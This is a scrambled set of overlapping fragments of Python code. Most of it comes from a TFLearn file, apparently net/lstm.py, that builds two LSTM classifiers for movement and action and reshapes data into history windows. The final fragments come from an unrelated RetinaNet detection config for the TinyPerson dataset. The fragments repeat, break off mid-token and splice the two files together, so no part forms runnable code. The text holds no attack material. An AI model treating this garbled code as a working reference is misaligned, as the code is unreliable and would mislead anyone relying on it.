"[] trainY_movement = [] trainY_action = [] for i in range(0, len(data) -",
"- steps_of_history): window = data[i:i + steps_of_history] sampleX = [] for row in",
"sampleX = [] for row in window: sampleX.append(row[0]) sampleY_movement = np.array(window[-1][1]).reshape(-1) sampleY_action =",
"trainX = [] trainY_movement = [] trainY_action = [] for i in range(0,",
"steps_of_history): window = data[i:i + steps_of_history] sampleX = [] for row in window:",
"0.8, name='net1_layer3') net = tflearn.lstm(net, n_units=256, return_seq=False, name='net1_layer4') net = tflearn.dropout(net, 0.8, name='net1_layer5')",
"sampleY_action = np.array(window[-1][2]).reshape(-1) trainX.append(np.array(sampleX).reshape(steps_of_history, -1)) trainY_movement.append(sampleY_movement) trainY_action.append(sampleY_action) print(np.array(trainX).shape) print(np.array(trainY_movement).shape) print(np.array(trainY_action).shape) return trainX, list(trainY_movement),",
"range(0, len(data) - steps_of_history): window = data[i:i + steps_of_history] sampleX = [] for",
"clip_gradients=5.0, tensorboard_dir='logs', tensorboard_verbose=0) def reshape_for_lstm(data, steps_of_history=10): trainX = [] trainY_movement = [] trainY_action",
"name='net2_layer7') return tflearn.DNN(net, clip_gradients=5.0, tensorboard_dir='logs', tensorboard_verbose=0) def reshape_for_lstm(data, steps_of_history=10): trainX = [] trainY_movement",
"import numpy as np import tensorflow as tf import tflearn import os def",
"n_units=256, return_seq=False, name='net2_layer4') net = tflearn.dropout(net, 0.8, name='net2_layer5') net = tflearn.fully_connected(net, 3, activation='softmax',",
"= [] for row in window: sampleX.append(row[0]) sampleY_movement = np.array(window[-1][1]).reshape(-1) sampleY_action = np.array(window[-1][2]).reshape(-1)",
"Network building net = tflearn.input_data(shape=[None, steps, 128], name='net2_layer1') net = tflearn.lstm(net, n_units=256, return_seq=True,",
"np.array(window[-1][1]).reshape(-1) sampleY_action = np.array(window[-1][2]).reshape(-1) trainX.append(np.array(sampleX).reshape(steps_of_history, -1)) trainY_movement.append(sampleY_movement) trainY_action.append(sampleY_action) print(np.array(trainX).shape) print(np.array(trainY_movement).shape) print(np.array(trainY_action).shape) return trainX,",
"in window: sampleX.append(row[0]) sampleY_movement = np.array(window[-1][1]).reshape(-1) sampleY_action = np.array(window[-1][2]).reshape(-1) trainX.append(np.array(sampleX).reshape(steps_of_history, -1)) trainY_movement.append(sampleY_movement) trainY_action.append(sampleY_action)",
"tflearn.dropout(net, 0.8, name='net2_layer3') net = tflearn.lstm(net, n_units=256, return_seq=False, name='net2_layer4') net = tflearn.dropout(net, 0.8,",
"import tensorflow as tf import tflearn import os def get_movement_model(steps): # Network building",
"return_seq=False, name='net2_layer4') net = tflearn.dropout(net, 0.8, name='net2_layer5') net = tflearn.fully_connected(net, 3, activation='softmax', name='net2_layer6')",
"name='net2_layer2') net = tflearn.dropout(net, 0.8, name='net2_layer3') net = tflearn.lstm(net, n_units=256, return_seq=False, name='net2_layer4') net",
"<filename>net/lstm.py<gh_stars>10-100 import numpy as np import tensorflow as tf import tflearn import os",
"return_seq=True, name='net1_layer2') net = tflearn.dropout(net, 0.8, name='net1_layer3') net = tflearn.lstm(net, n_units=256, return_seq=False, name='net1_layer4')",
"= np.array(window[-1][1]).reshape(-1) sampleY_action = np.array(window[-1][2]).reshape(-1) trainX.append(np.array(sampleX).reshape(steps_of_history, -1)) trainY_movement.append(sampleY_movement) trainY_action.append(sampleY_action) print(np.array(trainX).shape) print(np.array(trainY_movement).shape) print(np.array(trainY_action).shape) return",
"n_units=256, return_seq=True, name='net2_layer2') net = tflearn.dropout(net, 0.8, name='net2_layer3') net = tflearn.lstm(net, n_units=256, return_seq=False,",
"activation='softmax', name='net2_layer6') net = tflearn.regression(net, optimizer='rmsprop', loss='categorical_crossentropy', learning_rate=1e-5, name='net2_layer7') return tflearn.DNN(net, clip_gradients=5.0, tensorboard_dir='logs',",
"net = tflearn.dropout(net, 0.8, name='net2_layer3') net = tflearn.lstm(net, n_units=256, return_seq=False, name='net2_layer4') net =",
"n_units=256, return_seq=True, name='net1_layer2') net = tflearn.dropout(net, 0.8, name='net1_layer3') net = tflearn.lstm(net, n_units=256, return_seq=False,",
"name='net2_layer6') net = tflearn.regression(net, optimizer='rmsprop', loss='categorical_crossentropy', learning_rate=1e-5, name='net2_layer7') return tflearn.DNN(net, clip_gradients=5.0, tensorboard_dir='logs', tensorboard_verbose=0)",
"net = tflearn.regression(net, optimizer='rmsprop', loss='categorical_crossentropy', learning_rate=1e-5, name='net2_layer7') return tflearn.DNN(net, clip_gradients=5.0, tensorboard_dir='logs', tensorboard_verbose=0) def",
"sampleY_movement = np.array(window[-1][1]).reshape(-1) sampleY_action = np.array(window[-1][2]).reshape(-1) trainX.append(np.array(sampleX).reshape(steps_of_history, -1)) trainY_movement.append(sampleY_movement) trainY_action.append(sampleY_action) print(np.array(trainX).shape) print(np.array(trainY_movement).shape) print(np.array(trainY_action).shape)",
"# Network building net = tflearn.input_data(shape=[None, steps, 128], name='net1_layer1') net = tflearn.lstm(net, n_units=256,",
"tflearn import os def get_movement_model(steps): # Network building net = tflearn.input_data(shape=[None, steps, 128],",
"tensorflow as tf import tflearn import os def get_movement_model(steps): # Network building net",
"name='net1_layer5') net = tflearn.fully_connected(net, 5, activation='softmax', name='net1_layer6') net = tflearn.regression(net, optimizer='rmsprop', loss='categorical_crossentropy', learning_rate=0.0001,",
"net = tflearn.input_data(shape=[None, steps, 128], name='net1_layer1') net = tflearn.lstm(net, n_units=256, return_seq=True, name='net1_layer2') net",
"tflearn.fully_connected(net, 5, activation='softmax', name='net1_layer6') net = tflearn.regression(net, optimizer='rmsprop', loss='categorical_crossentropy', learning_rate=0.0001, name='net1_layer7') return tflearn.DNN(net,",
"net = tflearn.dropout(net, 0.8, name='net1_layer3') net = tflearn.lstm(net, n_units=256, return_seq=False, name='net1_layer4') net =",
"= [] trainY_action = [] for i in range(0, len(data) - steps_of_history): window",
"= tflearn.input_data(shape=[None, steps, 128], name='net1_layer1') net = tflearn.lstm(net, n_units=256, return_seq=True, name='net1_layer2') net =",
"window = data[i:i + steps_of_history] sampleX = [] for row in window: sampleX.append(row[0])",
"tflearn.lstm(net, n_units=256, return_seq=False, name='net2_layer4') net = tflearn.dropout(net, 0.8, name='net2_layer5') net = tflearn.fully_connected(net, 3,",
"[] for row in window: sampleX.append(row[0]) sampleY_movement = np.array(window[-1][1]).reshape(-1) sampleY_action = np.array(window[-1][2]).reshape(-1) trainX.append(np.array(sampleX).reshape(steps_of_history,",
"= tflearn.lstm(net, n_units=256, return_seq=False, name='net2_layer4') net = tflearn.dropout(net, 0.8, name='net2_layer5') net = tflearn.fully_connected(net,",
"name='net2_layer3') net = tflearn.lstm(net, n_units=256, return_seq=False, name='net2_layer4') net = tflearn.dropout(net, 0.8, name='net2_layer5') net",
"= [] for i in range(0, len(data) - steps_of_history): window = data[i:i +",
"as tf import tflearn import os def get_movement_model(steps): # Network building net =",
"as np import tensorflow as tf import tflearn import os def get_movement_model(steps): #",
"= tflearn.fully_connected(net, 3, activation='softmax', name='net2_layer6') net = tflearn.regression(net, optimizer='rmsprop', loss='categorical_crossentropy', learning_rate=1e-5, name='net2_layer7') return",
"sampleX.append(row[0]) sampleY_movement = np.array(window[-1][1]).reshape(-1) sampleY_action = np.array(window[-1][2]).reshape(-1) trainX.append(np.array(sampleX).reshape(steps_of_history, -1)) trainY_movement.append(sampleY_movement) trainY_action.append(sampleY_action) print(np.array(trainX).shape) print(np.array(trainY_movement).shape)",
"tensorboard_verbose=0) def get_action_model(steps): # Network building net = tflearn.input_data(shape=[None, steps, 128], name='net2_layer1') net",
"in range(0, len(data) - steps_of_history): window = data[i:i + steps_of_history] sampleX = []",
"= tflearn.fully_connected(net, 5, activation='softmax', name='net1_layer6') net = tflearn.regression(net, optimizer='rmsprop', loss='categorical_crossentropy', learning_rate=0.0001, name='net1_layer7') return",
"name='net1_layer3') net = tflearn.lstm(net, n_units=256, return_seq=False, name='net1_layer4') net = tflearn.dropout(net, 0.8, name='net1_layer5') net",
"net = tflearn.fully_connected(net, 3, activation='softmax', name='net2_layer6') net = tflearn.regression(net, optimizer='rmsprop', loss='categorical_crossentropy', learning_rate=1e-5, name='net2_layer7')",
"0.8, name='net2_layer5') net = tflearn.fully_connected(net, 3, activation='softmax', name='net2_layer6') net = tflearn.regression(net, optimizer='rmsprop', loss='categorical_crossentropy',",
"steps, 128], name='net1_layer1') net = tflearn.lstm(net, n_units=256, return_seq=True, name='net1_layer2') net = tflearn.dropout(net, 0.8,",
"tensorboard_verbose=0) def reshape_for_lstm(data, steps_of_history=10): trainX = [] trainY_movement = [] trainY_action = []",
"len(data) - steps_of_history): window = data[i:i + steps_of_history] sampleX = [] for row",
"name='net1_layer1') net = tflearn.lstm(net, n_units=256, return_seq=True, name='net1_layer2') net = tflearn.dropout(net, 0.8, name='net1_layer3') net",
"name='net2_layer4') net = tflearn.dropout(net, 0.8, name='net2_layer5') net = tflearn.fully_connected(net, 3, activation='softmax', name='net2_layer6') net",
"get_action_model(steps): # Network building net = tflearn.input_data(shape=[None, steps, 128], name='net2_layer1') net = tflearn.lstm(net,",
"name='net2_layer5') net = tflearn.fully_connected(net, 3, activation='softmax', name='net2_layer6') net = tflearn.regression(net, optimizer='rmsprop', loss='categorical_crossentropy', learning_rate=1e-5,",
"= tflearn.regression(net, optimizer='rmsprop', loss='categorical_crossentropy', learning_rate=1e-5, name='net2_layer7') return tflearn.DNN(net, clip_gradients=5.0, tensorboard_dir='logs', tensorboard_verbose=0) def reshape_for_lstm(data,",
"= tflearn.lstm(net, n_units=256, return_seq=True, name='net1_layer2') net = tflearn.dropout(net, 0.8, name='net1_layer3') net = tflearn.lstm(net,",
"trainY_movement = [] trainY_action = [] for i in range(0, len(data) - steps_of_history):",
"+ steps_of_history] sampleX = [] for row in window: sampleX.append(row[0]) sampleY_movement = np.array(window[-1][1]).reshape(-1)",
"loss='categorical_crossentropy', learning_rate=0.0001, name='net1_layer7') return tflearn.DNN(net, clip_gradients=5.0, tensorboard_dir='logs', tensorboard_verbose=0) def get_action_model(steps): # Network building",
"data[i:i + steps_of_history] sampleX = [] for row in window: sampleX.append(row[0]) sampleY_movement =",
"learning_rate=0.0001, name='net1_layer7') return tflearn.DNN(net, clip_gradients=5.0, tensorboard_dir='logs', tensorboard_verbose=0) def get_action_model(steps): # Network building net",
"optimizer='rmsprop', loss='categorical_crossentropy', learning_rate=0.0001, name='net1_layer7') return tflearn.DNN(net, clip_gradients=5.0, tensorboard_dir='logs', tensorboard_verbose=0) def get_action_model(steps): # Network",
"3, activation='softmax', name='net2_layer6') net = tflearn.regression(net, optimizer='rmsprop', loss='categorical_crossentropy', learning_rate=1e-5, name='net2_layer7') return tflearn.DNN(net, clip_gradients=5.0,",
"= tflearn.regression(net, optimizer='rmsprop', loss='categorical_crossentropy', learning_rate=0.0001, name='net1_layer7') return tflearn.DNN(net, clip_gradients=5.0, tensorboard_dir='logs', tensorboard_verbose=0) def get_action_model(steps):",
"tflearn.input_data(shape=[None, steps, 128], name='net1_layer1') net = tflearn.lstm(net, n_units=256, return_seq=True, name='net1_layer2') net = tflearn.dropout(net,",
"[] trainY_action = [] for i in range(0, len(data) - steps_of_history): window =",
"tflearn.regression(net, optimizer='rmsprop', loss='categorical_crossentropy', learning_rate=1e-5, name='net2_layer7') return tflearn.DNN(net, clip_gradients=5.0, tensorboard_dir='logs', tensorboard_verbose=0) def reshape_for_lstm(data, steps_of_history=10):",
"name='net1_layer2') net = tflearn.dropout(net, 0.8, name='net1_layer3') net = tflearn.lstm(net, n_units=256, return_seq=False, name='net1_layer4') net",
"def reshape_for_lstm(data, steps_of_history=10): trainX = [] trainY_movement = [] trainY_action = [] for",
"window: sampleX.append(row[0]) sampleY_movement = np.array(window[-1][1]).reshape(-1) sampleY_action = np.array(window[-1][2]).reshape(-1) trainX.append(np.array(sampleX).reshape(steps_of_history, -1)) trainY_movement.append(sampleY_movement) trainY_action.append(sampleY_action) print(np.array(trainX).shape)",
"net = tflearn.lstm(net, n_units=256, return_seq=False, name='net2_layer4') net = tflearn.dropout(net, 0.8, name='net2_layer5') net =",
"learning_rate=1e-5, name='net2_layer7') return tflearn.DNN(net, clip_gradients=5.0, tensorboard_dir='logs', tensorboard_verbose=0) def reshape_for_lstm(data, steps_of_history=10): trainX = []",
"import tflearn import os def get_movement_model(steps): # Network building net = tflearn.input_data(shape=[None, steps,",
"tflearn.DNN(net, clip_gradients=5.0, tensorboard_dir='logs', tensorboard_verbose=0) def reshape_for_lstm(data, steps_of_history=10): trainX = [] trainY_movement = []",
"= tflearn.lstm(net, n_units=256, return_seq=False, name='net1_layer4') net = tflearn.dropout(net, 0.8, name='net1_layer5') net = tflearn.fully_connected(net,",
"optimizer='rmsprop', loss='categorical_crossentropy', learning_rate=1e-5, name='net2_layer7') return tflearn.DNN(net, clip_gradients=5.0, tensorboard_dir='logs', tensorboard_verbose=0) def reshape_for_lstm(data, steps_of_history=10): trainX",
"tflearn.input_data(shape=[None, steps, 128], name='net2_layer1') net = tflearn.lstm(net, n_units=256, return_seq=True, name='net2_layer2') net = tflearn.dropout(net,",
"tensorboard_dir='logs', tensorboard_verbose=0) def get_action_model(steps): # Network building net = tflearn.input_data(shape=[None, steps, 128], name='net2_layer1')",
"net = tflearn.fully_connected(net, 5, activation='softmax', name='net1_layer6') net = tflearn.regression(net, optimizer='rmsprop', loss='categorical_crossentropy', learning_rate=0.0001, name='net1_layer7')",
"Network building net = tflearn.input_data(shape=[None, steps, 128], name='net1_layer1') net = tflearn.lstm(net, n_units=256, return_seq=True,",
"import os def get_movement_model(steps): # Network building net = tflearn.input_data(shape=[None, steps, 128], name='net1_layer1')",
"net = tflearn.regression(net, optimizer='rmsprop', loss='categorical_crossentropy', learning_rate=0.0001, name='net1_layer7') return tflearn.DNN(net, clip_gradients=5.0, tensorboard_dir='logs', tensorboard_verbose=0) def",
"for row in window: sampleX.append(row[0]) sampleY_movement = np.array(window[-1][1]).reshape(-1) sampleY_action = np.array(window[-1][2]).reshape(-1) trainX.append(np.array(sampleX).reshape(steps_of_history, -1))",
"net = tflearn.lstm(net, n_units=256, return_seq=True, name='net2_layer2') net = tflearn.dropout(net, 0.8, name='net2_layer3') net =",
"return_seq=False, name='net1_layer4') net = tflearn.dropout(net, 0.8, name='net1_layer5') net = tflearn.fully_connected(net, 5, activation='softmax', name='net1_layer6')",
"net = tflearn.input_data(shape=[None, steps, 128], name='net2_layer1') net = tflearn.lstm(net, n_units=256, return_seq=True, name='net2_layer2') net",
"# Network building net = tflearn.input_data(shape=[None, steps, 128], name='net2_layer1') net = tflearn.lstm(net, n_units=256,",
"steps, 128], name='net2_layer1') net = tflearn.lstm(net, n_units=256, return_seq=True, name='net2_layer2') net = tflearn.dropout(net, 0.8,",
"return_seq=True, name='net2_layer2') net = tflearn.dropout(net, 0.8, name='net2_layer3') net = tflearn.lstm(net, n_units=256, return_seq=False, name='net2_layer4')",
"row in window: sampleX.append(row[0]) sampleY_movement = np.array(window[-1][1]).reshape(-1) sampleY_action = np.array(window[-1][2]).reshape(-1) trainX.append(np.array(sampleX).reshape(steps_of_history, -1)) trainY_movement.append(sampleY_movement)",
"building net = tflearn.input_data(shape=[None, steps, 128], name='net2_layer1') net = tflearn.lstm(net, n_units=256, return_seq=True, name='net2_layer2')",
"def get_movement_model(steps): # Network building net = tflearn.input_data(shape=[None, steps, 128], name='net1_layer1') net =",
"tflearn.fully_connected(net, 3, activation='softmax', name='net2_layer6') net = tflearn.regression(net, optimizer='rmsprop', loss='categorical_crossentropy', learning_rate=1e-5, name='net2_layer7') return tflearn.DNN(net,",
"for i in range(0, len(data) - steps_of_history): window = data[i:i + steps_of_history] sampleX",
"= data[i:i + steps_of_history] sampleX = [] for row in window: sampleX.append(row[0]) sampleY_movement",
"name='net1_layer6') net = tflearn.regression(net, optimizer='rmsprop', loss='categorical_crossentropy', learning_rate=0.0001, name='net1_layer7') return tflearn.DNN(net, clip_gradients=5.0, tensorboard_dir='logs', tensorboard_verbose=0)",
"numpy as np import tensorflow as tf import tflearn import os def get_movement_model(steps):",
"tensorboard_dir='logs', tensorboard_verbose=0) def reshape_for_lstm(data, steps_of_history=10): trainX = [] trainY_movement = [] trainY_action =",
"trainY_action = [] for i in range(0, len(data) - steps_of_history): window = data[i:i",
"activation='softmax', name='net1_layer6') net = tflearn.regression(net, optimizer='rmsprop', loss='categorical_crossentropy', learning_rate=0.0001, name='net1_layer7') return tflearn.DNN(net, clip_gradients=5.0, tensorboard_dir='logs',",
"name='net1_layer7') return tflearn.DNN(net, clip_gradients=5.0, tensorboard_dir='logs', tensorboard_verbose=0) def get_action_model(steps): # Network building net =",
"n_units=256, return_seq=False, name='net1_layer4') net = tflearn.dropout(net, 0.8, name='net1_layer5') net = tflearn.fully_connected(net, 5, activation='softmax',",
"i in range(0, len(data) - steps_of_history): window = data[i:i + steps_of_history] sampleX =",
"return tflearn.DNN(net, clip_gradients=5.0, tensorboard_dir='logs', tensorboard_verbose=0) def get_action_model(steps): # Network building net = tflearn.input_data(shape=[None,",
"get_movement_model(steps): # Network building net = tflearn.input_data(shape=[None, steps, 128], name='net1_layer1') net = tflearn.lstm(net,",
"5, activation='softmax', name='net1_layer6') net = tflearn.regression(net, optimizer='rmsprop', loss='categorical_crossentropy', learning_rate=0.0001, name='net1_layer7') return tflearn.DNN(net, clip_gradients=5.0,",
"tflearn.dropout(net, 0.8, name='net2_layer5') net = tflearn.fully_connected(net, 3, activation='softmax', name='net2_layer6') net = tflearn.regression(net, optimizer='rmsprop',",
"[] for i in range(0, len(data) - steps_of_history): window = data[i:i + steps_of_history]",
"clip_gradients=5.0, tensorboard_dir='logs', tensorboard_verbose=0) def get_action_model(steps): # Network building net = tflearn.input_data(shape=[None, steps, 128],",
"steps_of_history=10): trainX = [] trainY_movement = [] trainY_action = [] for i in",
"name='net1_layer4') net = tflearn.dropout(net, 0.8, name='net1_layer5') net = tflearn.fully_connected(net, 5, activation='softmax', name='net1_layer6') net",
"steps_of_history] sampleX = [] for row in window: sampleX.append(row[0]) sampleY_movement = np.array(window[-1][1]).reshape(-1) sampleY_action",
"tflearn.lstm(net, n_units=256, return_seq=True, name='net2_layer2') net = tflearn.dropout(net, 0.8, name='net2_layer3') net = tflearn.lstm(net, n_units=256,",
"tflearn.DNN(net, clip_gradients=5.0, tensorboard_dir='logs', tensorboard_verbose=0) def get_action_model(steps): # Network building net = tflearn.input_data(shape=[None, steps,",
"= np.array(window[-1][2]).reshape(-1) trainX.append(np.array(sampleX).reshape(steps_of_history, -1)) trainY_movement.append(sampleY_movement) trainY_action.append(sampleY_action) print(np.array(trainX).shape) print(np.array(trainY_movement).shape) print(np.array(trainY_action).shape) return trainX, list(trainY_movement), list(trainY_action)",
"return tflearn.DNN(net, clip_gradients=5.0, tensorboard_dir='logs', tensorboard_verbose=0) def reshape_for_lstm(data, steps_of_history=10): trainX = [] trainY_movement =",
"= tflearn.input_data(shape=[None, steps, 128], name='net2_layer1') net = tflearn.lstm(net, n_units=256, return_seq=True, name='net2_layer2') net =",
"= [] trainY_movement = [] trainY_action = [] for i in range(0, len(data)",
"0.8, name='net2_layer3') net = tflearn.lstm(net, n_units=256, return_seq=False, name='net2_layer4') net = tflearn.dropout(net, 0.8, name='net2_layer5')",
"name='net2_layer1') net = tflearn.lstm(net, n_units=256, return_seq=True, name='net2_layer2') net = tflearn.dropout(net, 0.8, name='net2_layer3') net",
"net = tflearn.lstm(net, n_units=256, return_seq=False, name='net1_layer4') net = tflearn.dropout(net, 0.8, name='net1_layer5') net =",
"def get_action_model(steps): # Network building net = tflearn.input_data(shape=[None, steps, 128], name='net2_layer1') net =",
"= tflearn.dropout(net, 0.8, name='net2_layer3') net = tflearn.lstm(net, n_units=256, return_seq=False, name='net2_layer4') net = tflearn.dropout(net,",
"tflearn.lstm(net, n_units=256, return_seq=False, name='net1_layer4') net = tflearn.dropout(net, 0.8, name='net1_layer5') net = tflearn.fully_connected(net, 5,",
"tflearn.dropout(net, 0.8, name='net1_layer3') net = tflearn.lstm(net, n_units=256, return_seq=False, name='net1_layer4') net = tflearn.dropout(net, 0.8,",
"os def get_movement_model(steps): # Network building net = tflearn.input_data(shape=[None, steps, 128], name='net1_layer1') net",
"net = tflearn.dropout(net, 0.8, name='net2_layer5') net = tflearn.fully_connected(net, 3, activation='softmax', name='net2_layer6') net ="
] |
[
"'C']) >>> queue.popleft() 'Python' >>> queue.popleft() 'Java' >>> queue.clear() >>> len(queue) 0 >>>",
">>> queue deque([]) >>> queue.popleft() Traceback (most recent call last): ... IndexError: pop",
"queue.popleft() 'Java' >>> queue.clear() >>> len(queue) 0 >>> queue deque([]) >>> queue.popleft() Traceback",
"3 >>> queue deque(['Python', 'Java', 'C']) >>> queue.popleft() 'Python' >>> queue.popleft() 'Java' >>>",
">>> len(queue) 3 >>> queue deque(['Python', 'Java', 'C']) >>> queue.popleft() 'Python' >>> queue.popleft()",
"import deque >>> queue = deque([\"Python\", \"Java\", \"C\"]) >>> len(queue) 3 >>> queue",
"queue.clear() >>> len(queue) 0 >>> queue deque([]) >>> queue.popleft() Traceback (most recent call",
"-> None: \"\"\" >>> from collections import deque >>> queue = deque([\"Python\", \"Java\",",
">>> queue.popleft() 'Java' >>> queue.clear() >>> len(queue) 0 >>> queue deque([]) >>> queue.popleft()",
"collections import deque >>> queue = deque([\"Python\", \"Java\", \"C\"]) >>> len(queue) 3 >>>",
"an empty deque \"\"\" if __name__ == \"__main__\": from doctest import testmod testmod()",
"queue deque(['Python', 'Java', 'C']) >>> queue.popleft() 'Python' >>> queue.popleft() 'Java' >>> queue.clear() >>>",
"IndexError: pop from an empty deque \"\"\" if __name__ == \"__main__\": from doctest",
"from collections import deque >>> queue = deque([\"Python\", \"Java\", \"C\"]) >>> len(queue) 3",
"from an empty deque \"\"\" if __name__ == \"__main__\": from doctest import testmod",
">>> len(queue) 0 >>> queue deque([]) >>> queue.popleft() Traceback (most recent call last):",
"0 >>> queue deque([]) >>> queue.popleft() Traceback (most recent call last): ... IndexError:",
"def main() -> None: \"\"\" >>> from collections import deque >>> queue =",
"... IndexError: pop from an empty deque \"\"\" if __name__ == \"__main__\": from",
"\"Java\", \"C\"]) >>> len(queue) 3 >>> queue deque(['Python', 'Java', 'C']) >>> queue.popleft() 'Python'",
">>> queue deque(['Python', 'Java', 'C']) >>> queue.popleft() 'Python' >>> queue.popleft() 'Java' >>> queue.clear()",
"recent call last): ... IndexError: pop from an empty deque \"\"\" if __name__",
"None: \"\"\" >>> from collections import deque >>> queue = deque([\"Python\", \"Java\", \"C\"])",
"'Python' >>> queue.popleft() 'Java' >>> queue.clear() >>> len(queue) 0 >>> queue deque([]) >>>",
"queue deque([]) >>> queue.popleft() Traceback (most recent call last): ... IndexError: pop from",
"queue.popleft() Traceback (most recent call last): ... IndexError: pop from an empty deque",
"deque([]) >>> queue.popleft() Traceback (most recent call last): ... IndexError: pop from an",
"\"\"\" >>> from collections import deque >>> queue = deque([\"Python\", \"Java\", \"C\"]) >>>",
"'Java', 'C']) >>> queue.popleft() 'Python' >>> queue.popleft() 'Java' >>> queue.clear() >>> len(queue) 0",
">>> queue.clear() >>> len(queue) 0 >>> queue deque([]) >>> queue.popleft() Traceback (most recent",
"last): ... IndexError: pop from an empty deque \"\"\" if __name__ == \"__main__\":",
"pop from an empty deque \"\"\" if __name__ == \"__main__\": from doctest import",
"deque >>> queue = deque([\"Python\", \"Java\", \"C\"]) >>> len(queue) 3 >>> queue deque(['Python',",
"main() -> None: \"\"\" >>> from collections import deque >>> queue = deque([\"Python\",",
"queue = deque([\"Python\", \"Java\", \"C\"]) >>> len(queue) 3 >>> queue deque(['Python', 'Java', 'C'])",
"deque(['Python', 'Java', 'C']) >>> queue.popleft() 'Python' >>> queue.popleft() 'Java' >>> queue.clear() >>> len(queue)",
"len(queue) 0 >>> queue deque([]) >>> queue.popleft() Traceback (most recent call last): ...",
"call last): ... IndexError: pop from an empty deque \"\"\" if __name__ ==",
"Traceback (most recent call last): ... IndexError: pop from an empty deque \"\"\"",
">>> queue.popleft() 'Python' >>> queue.popleft() 'Java' >>> queue.clear() >>> len(queue) 0 >>> queue",
"\"C\"]) >>> len(queue) 3 >>> queue deque(['Python', 'Java', 'C']) >>> queue.popleft() 'Python' >>>",
">>> queue.popleft() Traceback (most recent call last): ... IndexError: pop from an empty",
">>> from collections import deque >>> queue = deque([\"Python\", \"Java\", \"C\"]) >>> len(queue)",
"queue.popleft() 'Python' >>> queue.popleft() 'Java' >>> queue.clear() >>> len(queue) 0 >>> queue deque([])",
"len(queue) 3 >>> queue deque(['Python', 'Java', 'C']) >>> queue.popleft() 'Python' >>> queue.popleft() 'Java'",
"= deque([\"Python\", \"Java\", \"C\"]) >>> len(queue) 3 >>> queue deque(['Python', 'Java', 'C']) >>>",
"'Java' >>> queue.clear() >>> len(queue) 0 >>> queue deque([]) >>> queue.popleft() Traceback (most",
"(most recent call last): ... IndexError: pop from an empty deque \"\"\" if",
">>> queue = deque([\"Python\", \"Java\", \"C\"]) >>> len(queue) 3 >>> queue deque(['Python', 'Java',",
"deque([\"Python\", \"Java\", \"C\"]) >>> len(queue) 3 >>> queue deque(['Python', 'Java', 'C']) >>> queue.popleft()"
] |
[
"clip # model settings model = dict( neck=dict( start_level=0, # start_level=1, # add_extra_convs='on_input',",
"'./retinanet_r50_fpn_1x_TinyPerson640.py' ] optimizer = dict(type='SGD', lr=0.02, momentum=0.9, weight_decay=0.0001) # 4 gpu optimizer_config =",
"# model settings model = dict( neck=dict( start_level=0, # start_level=1, # add_extra_convs='on_input', #",
"lr=0.02, momentum=0.9, weight_decay=0.0001) # 4 gpu optimizer_config = dict(_delete_=True, grad_clip=dict(max_norm=1, norm_type=2)) # add",
"dict(type='SGD', lr=0.02, momentum=0.9, weight_decay=0.0001) # 4 gpu optimizer_config = dict(_delete_=True, grad_clip=dict(max_norm=1, norm_type=2)) #",
"<gh_stars>10-100 _base_ = [ './retinanet_r50_fpn_1x_TinyPerson640.py' ] optimizer = dict(type='SGD', lr=0.02, momentum=0.9, weight_decay=0.0001) #",
"type='RetinaHead', num_classes=1, # 80 anchor_generator=dict( type='AnchorGenerator', octave_base_scale=2, # 4 ratios=[0.5, 1.0, 2.0], strides=[4,",
"momentum=0.9, weight_decay=0.0001) # 4 gpu optimizer_config = dict(_delete_=True, grad_clip=dict(max_norm=1, norm_type=2)) # add grad",
"# 4 ratios=[0.5, 1.0, 2.0], strides=[4, 8, 16, 32, 64] # [8, 16,",
"# add grad clip # model settings model = dict( neck=dict( start_level=0, #",
"1.0, 2.0], strides=[4, 8, 16, 32, 64] # [8, 16, 32, 64, 128]",
"optimizer = dict(type='SGD', lr=0.02, momentum=0.9, weight_decay=0.0001) # 4 gpu optimizer_config = dict(_delete_=True, grad_clip=dict(max_norm=1,",
"= dict( neck=dict( start_level=0, # start_level=1, # add_extra_convs='on_input', # note num_outs=5), bbox_head=dict( type='RetinaHead',",
"4 gpu optimizer_config = dict(_delete_=True, grad_clip=dict(max_norm=1, norm_type=2)) # add grad clip # model",
"4 ratios=[0.5, 1.0, 2.0], strides=[4, 8, 16, 32, 64] # [8, 16, 32,",
"[ './retinanet_r50_fpn_1x_TinyPerson640.py' ] optimizer = dict(type='SGD', lr=0.02, momentum=0.9, weight_decay=0.0001) # 4 gpu optimizer_config",
"start_level=1, # add_extra_convs='on_input', # note num_outs=5), bbox_head=dict( type='RetinaHead', num_classes=1, # 80 anchor_generator=dict( type='AnchorGenerator',",
"type='AnchorGenerator', octave_base_scale=2, # 4 ratios=[0.5, 1.0, 2.0], strides=[4, 8, 16, 32, 64] #",
"norm_type=2)) # add grad clip # model settings model = dict( neck=dict( start_level=0,",
"note num_outs=5), bbox_head=dict( type='RetinaHead', num_classes=1, # 80 anchor_generator=dict( type='AnchorGenerator', octave_base_scale=2, # 4 ratios=[0.5,",
"8, 16, 32, 64] # [8, 16, 32, 64, 128] ) ) )",
"# add_extra_convs='on_input', # note num_outs=5), bbox_head=dict( type='RetinaHead', num_classes=1, # 80 anchor_generator=dict( type='AnchorGenerator', octave_base_scale=2,",
"neck=dict( start_level=0, # start_level=1, # add_extra_convs='on_input', # note num_outs=5), bbox_head=dict( type='RetinaHead', num_classes=1, #",
"settings model = dict( neck=dict( start_level=0, # start_level=1, # add_extra_convs='on_input', # note num_outs=5),",
"model = dict( neck=dict( start_level=0, # start_level=1, # add_extra_convs='on_input', # note num_outs=5), bbox_head=dict(",
"add_extra_convs='on_input', # note num_outs=5), bbox_head=dict( type='RetinaHead', num_classes=1, # 80 anchor_generator=dict( type='AnchorGenerator', octave_base_scale=2, #",
"optimizer_config = dict(_delete_=True, grad_clip=dict(max_norm=1, norm_type=2)) # add grad clip # model settings model",
"grad clip # model settings model = dict( neck=dict( start_level=0, # start_level=1, #",
"= dict(type='SGD', lr=0.02, momentum=0.9, weight_decay=0.0001) # 4 gpu optimizer_config = dict(_delete_=True, grad_clip=dict(max_norm=1, norm_type=2))",
"# 4 gpu optimizer_config = dict(_delete_=True, grad_clip=dict(max_norm=1, norm_type=2)) # add grad clip #",
"# note num_outs=5), bbox_head=dict( type='RetinaHead', num_classes=1, # 80 anchor_generator=dict( type='AnchorGenerator', octave_base_scale=2, # 4",
"add grad clip # model settings model = dict( neck=dict( start_level=0, # start_level=1,",
"# 80 anchor_generator=dict( type='AnchorGenerator', octave_base_scale=2, # 4 ratios=[0.5, 1.0, 2.0], strides=[4, 8, 16,",
"ratios=[0.5, 1.0, 2.0], strides=[4, 8, 16, 32, 64] # [8, 16, 32, 64,",
"model settings model = dict( neck=dict( start_level=0, # start_level=1, # add_extra_convs='on_input', # note",
